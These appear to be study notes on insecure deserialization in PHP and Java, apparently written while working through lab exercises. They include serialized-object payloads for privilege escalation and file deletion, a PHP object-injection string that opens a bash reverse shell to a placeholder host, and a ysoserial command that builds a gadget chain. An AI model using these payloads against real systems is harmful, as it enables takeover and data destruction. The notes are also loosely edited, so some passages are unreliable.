Serialization

is the process of converting a complex data structures, such as objects and their fields.
Serializing data makes it much simpler to:

• Write complex data to inter-process memory, a file, or a database.
• Send complex data, for example, over a network, between different components of an application, or in an API call.
• Some languages serialize objects into binary formats.
• all of the original object’s attributes are stored in the serialized data stream, including any private fields.
• Used for storing and transferring data.

  Insecure deserialization

  ---

  deserialization vulnerabilities can be as easy as changing an attribute in a serialized object , identify and edit interesting attribute values. You can then pass the malicious object into the website via its deserialization process
  Used to
  1- RCE
  2- privilege escalation
  3- file access
  4- DOS attack
  5- Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context.
  How to identify?
  data flow in request

  PHP serialization

  ---

  in code:

  $user->name = "carlos";
  $user->isLoggedIn = true;
  

  after selialization:

  `O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}`
  

• O:4:"User" - An object with the 4-character class name "User"
• 2 - the object has 2 attributes
• s:4:"name" - The key of the first attribute is the 4-character string "name"
• s:6:"carlos" - The value of the first attribute is the 6-character string "carlos"
• s:10:"isLoggedIn" - The key of the second attribute is the 10-character string "isLoggedIn"
• b:1 - The value of the second attribute is the boolean value true

Magic methods in PHP
https://www.php.net/manual/en/language.oop5.magic.php
• you create exploits that pass data into dangerous methods automatically.
• Magic methods are a common feature of OOP like __destruct() or __construct() .
• Some languages have magic methods that are invoked automatically during the deserialization process, For example, PHP’s unserialize()method looks for and invokes an object’s __wakeup()magic method.

In decoded session

• O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;} —>change 0 to 1
• O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:20:"ej9jdijdf9efje9eof9j9f";}
  —> change to O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
  in case the access_token or password doesn’t start with number so we can instead value with 0
  0 == "Example string" // true in PHP
  Arbitrary object injection in PHP
  We need source code to create and inject a malicious serialized object to do specific function
  

notice the CustomTemplate class contains the __destruct()magic method. This will invoke the unlink() method on the lock_file_path attribute, unlink() method to delete file
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

scenario

O:18:"PHPObjectInjection":1:{s:6:"inject";s:13:"system('id');";}
->
O:18:"PHPObjectInjection":1:{s:6:"inject";s:71:"system('/bin/bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'');";}

Java Serialization

Example :
1- Item java : have code for class named Item

2- Serialize.java : conatin the serialization logic

• Java objects always begin with the same bytes, which are encoded as ac edin hexadecimal andrO0 in Base64 which is a standard java serialization format signature.
• Any class that implements the interface java.io.Serializable can be serialized and deserialized
• readObject()method, which is used to read and deserialize data from an InputStream
• In Java deserialization , a readObject()method declared in exactly this way acts as a magic method that is invoked during deserialization

how to identify it ?
search for object that it’s magic bytes rO0

ysoserial (Java Deserialization)

java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

mitigation

1- user input should never be deserialized at all.
2- Use a cryptographic library to generate a signature for the object and validate it prior to deserializing the returned object.
3- Don’t use unserialize() function with user input, use JSON functions instead.
—